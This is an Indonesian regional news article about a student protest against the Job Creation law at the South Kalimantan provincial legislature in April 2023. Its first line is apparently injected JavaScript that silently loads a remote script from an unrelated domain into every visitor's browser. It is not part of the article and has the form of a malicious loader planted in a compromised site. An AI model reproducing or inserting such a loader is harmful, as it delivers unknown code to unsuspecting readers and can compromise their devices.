(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sosok tiga orang wakil rakyat nampak berjejer dihadapkan ke depan ratusan massa unjuk rasa mahasiswa BEM SI Kalsel, Kamis (6/4/2023) siang.
Ketiga sosok itu di antaranya dua laki-laki dan satu perempuan berseragam layaknya pegawai kantoran berwarna hitam dan putih. Sosok itu merupakan bagian dari mahasiswa.
Mereka memakai topeng wajah menirukan tiga orang wakil rakyat. Yaitu Supian HK Ketua DPRD Kalsel, Rachman Norlias Komisi I dan Komisi IV DPRD Kalsel Luthfi Syaifuddin.
Baca juga: BREAKING NEWS. Mahasiswa Berunjuk Rasa di DPRD Kalsel
Mereka muncul ketika lebih dari lima orang massa yang sudah lelah berorasi, namun tak kunjung ditemui oleh pimpinan maupun anggota DPRD Kalsel.
Diketahui kali ini hanya diisi dengan orasi dan kekesalan massa yang tak bisa bertemu wakil rakyat lantaran sedang berada di luar daerah.
“Sangat disayangkan, hari ini sesuai dgn jadwal di bulan April bahwa ada pertemuan Panitia Khusus (Pansus) LKPD, maka anggota dan pimpinan semua di luar daerah,” ujar Sekretaris DPRD Kalsel, Muhammad Jaini di depan massa aksi.
Unjuk rasa yang dipelopori BEM SI Kalsel ini diikuti sedikitnya 150 orang dari mahasiswa dari berbagai perguruan tinggi di Kalsel. Mereka pun mengungkapkan kekecewaannya.
“Sikap tegas wakil rakyat lah yang kami harapkan, kami paham tapi bukan bapak yang kami cari, untuk apa mengadakan laporan ke luar daerah jika di daerah masih memiliki masalah yang belum terselrsaikan,” ucap Adi, salah seorang massa aksi.
Mahasiswa melakukan penolakan terhadap Undang-Undang Cipta Kerja dan Perppu Tipu-tipu atau Cipta Kerja yang sudah menimbulkan kontroversial dari sejumlah pihak.
Baca juga: Tiga Ruas Jalan ‘Maut’ di Banjarbaru, 24 Insiden Kecelakaan 11 Meninggal Dunia
BEM SI Kalsel juga sudah beberapa kali berunjuk rasa di kantor DPRD Kalsel untuk menuntut agar Undang-Undang tersebut dicabut karena dinilai merugikan para buruh.
Selain itu, BEM SI Kalsel juga menuntut Presiden selaku kepala negara dan DPR RI untuk sesegera mungkin mencabut Undang-Undang Cipta Kerja yang menurut mereka bermasalah.
Hingga pukul 12.30 Wita massa mahasiswa masih dihadapkan dengan pihak kepolisian lantaran, Sekretaris DPRD pergi meninggalkan massa.
“Mohon maaf sekali, kami pun telah menerima surat dari massa sekalian, namun kali ini benar-benar jadwalnya yang bertepatan dengan pansus, mohon pengertiannya Assalamualaikum,” tuntas Jaini yang meninggalkan massa.
Terpantau setelah Jaini beserta jajaran meninggalkan jalan, massa dengan serentak menerobos barisan kepolisian hingga menimbulkan sedikit ketegangan. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
This website uses cookies.